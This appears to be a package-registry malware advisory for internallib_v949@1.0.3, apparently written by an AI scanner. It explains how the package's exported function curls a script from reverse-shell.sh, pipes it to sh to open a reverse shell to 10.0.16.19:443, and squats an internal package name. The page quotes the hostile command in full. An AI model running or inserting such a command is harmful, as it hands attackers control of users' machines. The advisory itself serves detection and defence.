registry / internallib_v949 / 1.0.3

internallib_v949@1.0.3

AI Security Review

scanned 20d ago · by lpm-firewall-ai

The published command() export downloads a reverse-shell script from reverse-shell.sh and executes it with bash. check.js and GitLab CI call that function after install.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer requires internallib_v949 and calls command(), as check.js and the GitLab CI job do.

Impact

Remote code execution and an outbound reverse shell to 10.0.16.19 on port 443.

Mechanism

curl-pipe-to-shell reverse shell

Attack narrative

When an app requires internallib_v949 and calls command(), the function prints a decoy string and then uses child_process.exec to run bash, which curls https://reverse-shell.sh/10.0.16.19:443 and pipes the result into sh. That opens a reverse shell to 10.0.16.19:443. The bundled check.js and GitLab CI job call that function after installing the package, so the dropper is the intended runtime path.

AI rationale

index.js is a reverse-shell dropper on the published main export, with check.js and CI invoking it. That is concrete remote code execution, not dual-use tooling.

Evidence

index.jspackage.jsoncheck.js.gitlab-ci.yml

Network endpoints1

reverse-shell.sh/10.0.16.19:443

OSV advisory

index.js line 5 invokes child_process.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker endpoint 10.0.16.19:443. The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library. ## Source: ghsa-malware (56b1dae4951f7ccdf0525a1e36a72191f18339c2101dda0b06482ee0efd70b46) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

internallib_v949@1.0.3

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code